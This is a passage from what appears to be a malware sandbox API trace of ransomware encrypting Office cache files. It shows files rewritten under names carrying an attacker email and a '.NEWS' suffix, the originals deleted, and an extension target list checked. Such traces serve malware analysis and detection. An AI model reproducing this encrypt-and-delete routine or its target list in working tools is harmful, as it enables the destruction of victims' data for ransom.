Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.368] GetLastError () returned 0x0 [0045.368] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0045.371] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0045.373] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.373] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0045.373] SetEndOfFile (hFile=0x19c) returned 1 [0045.373] CloseHandle (hObject=0x19c) returned 1 [0045.374] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.374] SetEndOfFile (hFile=0x16c) returned 1 [0045.376] CloseHandle (hObject=0x16c) returned 1 [0045.376] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.376] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.377] lstrlenW (lpString=".doc") returned 4 [0045.377] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".docx") returned 5 [0045.377] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.377] lstrlenW (lpString=".pdf") returned 4 [0045.377] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".xls") returned 4 [0045.377] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".xlsx") returned 5 [0045.377] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.377] lstrlenW (lpString=".ppt") returned 4 [0045.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.377] lstrlenW (lpString=".zip") returned 4 [0045.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.377] lstrlenW (lpString=".rar") returned 4 [0045.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.377] lstrlenW (lpString=".bz2") returned 4 [0045.378] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.378] lstrlenW (lpString=".7z") returned 3 [0045.378] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.378] lstrlenW (lpString=".dbf") returned 4 [0045.378] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.378] lstrlenW (lpString=".1cd") returned 4 [0045.378] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.378] lstrlenW (lpString=".jpg") returned 4 [0045.378] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.378] lstrlenW (lpString=".doc") returned 4 [0045.378] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.378] lstrlenW (lpString=".docx") returned 5 [0045.378] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.378] lstrlenW (lpString=".pdf") returned 4 [0045.379] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.379] lstrlenW (lpString=".xls") returned 4 [0045.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.379] lstrlenW (lpString=".xlsx") returned 5 [0045.379] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.379] lstrlenW (lpString=".ppt") returned 4 [0045.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.379] lstrlenW (lpString=".zip") returned 4 [0045.380] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.380] lstrlenW (lpString=".rar") returned 4 [0045.380] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.380] lstrlenW (lpString=".bz2") returned 4 [0045.380] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.380] lstrlenW (lpString=".7z") returned 3 [0045.380] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.380] lstrlenW (lpString=".dbf") returned 4 [0045.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.380] lstrlenW (lpString=".1cd") returned 4 [0045.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0045.380] lstrlenW (lpString=".jpg") returned 4 [0045.380] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.381] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.381] lstrlenW (lpString="Setup.xml") returned 9 [0045.381] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.381] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4207) returned 1 [0045.381] CloseHandle (hObject=0x16c) returned 1 [0045.381] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.381] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.381] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.382] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.382] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.382] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.382] GetLastError () returned 0x0 [0045.382] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x106f, lpOverlapped=0x0) returned 1 [0045.385] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0045.387] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.387] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.390] SetEndOfFile (hFile=0x19c) returned 1 [0045.390] CloseHandle (hObject=0x19c) returned 1 [0045.391] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.391] SetEndOfFile (hFile=0x16c) returned 1 [0045.393] CloseHandle (hObject=0x16c) returned 1 [0045.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.393] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.394] lstrlenW (lpString=".doc") returned 4 [0045.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.394] lstrlenW (lpString=".docx") returned 5 [0045.394] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.394] lstrlenW (lpString=".pdf") returned 4 [0045.394] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.394] lstrlenW (lpString=".xls") returned 4 [0045.394] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.394] lstrlenW (lpString=".xlsx") returned 5 [0045.394] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.394] lstrlenW (lpString=".ppt") returned 4 [0045.394] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.396] lstrlenW (lpString=".zip") returned 4 [0045.396] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.396] lstrlenW (lpString=".rar") returned 4 [0045.396] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.396] lstrlenW (lpString=".bz2") returned 4 [0045.396] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.396] lstrlenW (lpString=".7z") returned 3 [0045.396] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.396] lstrlenW (lpString=".dbf") returned 4 [0045.396] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.396] lstrlenW (lpString=".1cd") returned 4 [0045.396] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.396] lstrlenW (lpString=".jpg") returned 4 [0045.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.397] lstrlenW (lpString=".doc") returned 4 [0045.397] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.397] lstrlenW (lpString=".docx") returned 5 [0045.397] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.397] lstrlenW (lpString=".pdf") returned 4 [0045.397] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.397] lstrlenW (lpString=".xls") returned 4 [0045.397] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.397] lstrlenW (lpString=".xlsx") returned 5 [0045.397] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.397] lstrlenW (lpString=".ppt") returned 4 [0045.397] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.397] lstrlenW (lpString=".zip") returned 4 [0045.397] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.397] lstrlenW (lpString=".rar") returned 4 [0045.397] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.397] lstrlenW (lpString=".bz2") returned 4 [0045.397] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.397] lstrlenW (lpString=".7z") returned 3 [0045.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.398] lstrlenW (lpString=".dbf") returned 4 [0045.398] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.398] lstrlenW (lpString=".1cd") returned 4 [0045.398] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.398] lstrlenW (lpString=".jpg") returned 4 [0045.398] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.398] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.398] lstrlenW (lpString="Setup.xml") returned 9 [0045.398] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.399] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2424) returned 1 [0045.399] CloseHandle (hObject=0x16c) returned 1 [0045.399] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.399] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.399] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.399] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.399] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.399] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.402] GetLastError () returned 0x0 [0045.402] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x978, lpOverlapped=0x0) returned 1 [0045.568] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x980, lpOverlapped=0x0) returned 1 [0045.885] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.885] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.885] SetEndOfFile (hFile=0x19c) returned 1 [0045.885] CloseHandle (hObject=0x19c) returned 1 [0045.886] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.886] SetEndOfFile (hFile=0x16c) returned 1 [0045.888] CloseHandle (hObject=0x16c) returned 1 [0045.888] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.888] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.889] lstrlenW (lpString=".doc") returned 4 [0045.889] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.889] lstrlenW (lpString=".docx") returned 5 [0045.889] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.889] lstrlenW (lpString=".pdf") returned 4 [0045.889] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.889] lstrlenW (lpString=".xls") returned 4 [0045.889] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.889] lstrlenW (lpString=".xlsx") returned 5 [0045.889] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.889] lstrlenW (lpString=".ppt") returned 4 [0045.889] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.889] lstrlenW (lpString=".zip") returned 4 [0045.889] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.889] lstrlenW (lpString=".rar") returned 4 [0045.889] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.890] lstrlenW (lpString=".bz2") returned 4 [0045.890] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.890] lstrlenW (lpString=".7z") returned 3 [0045.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.890] lstrlenW (lpString=".dbf") returned 4 [0045.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.890] lstrlenW (lpString=".1cd") returned 4 [0045.890] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.890] lstrlenW (lpString=".jpg") returned 4 [0045.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.890] lstrlenW (lpString=".doc") returned 4 [0045.890] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.890] lstrlenW (lpString=".docx") returned 5 [0045.890] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.890] lstrlenW (lpString=".pdf") returned 4 [0045.891] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.891] lstrlenW (lpString=".xls") returned 4 [0045.891] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.891] lstrlenW (lpString=".xlsx") returned 5 [0045.891] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.891] lstrlenW (lpString=".ppt") returned 4 [0045.891] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.891] lstrlenW (lpString=".zip") returned 4 [0045.891] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.891] lstrlenW (lpString=".rar") returned 4 [0045.891] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.891] lstrlenW (lpString=".bz2") returned 4 [0045.891] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.891] lstrlenW (lpString=".7z") returned 3 [0045.891] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.891] lstrlenW (lpString=".dbf") returned 4 [0045.891] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.891] lstrlenW (lpString=".1cd") returned 4 [0045.891] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.892] lstrlenW (lpString=".jpg") returned 4 [0045.892] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.892] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.892] lstrlenW (lpString="Office32MUI.xml") returned 15 [0045.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.895] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1383) returned 1 [0045.895] CloseHandle (hObject=0x16c) returned 1 [0045.895] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0045.895] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.895] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.895] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | 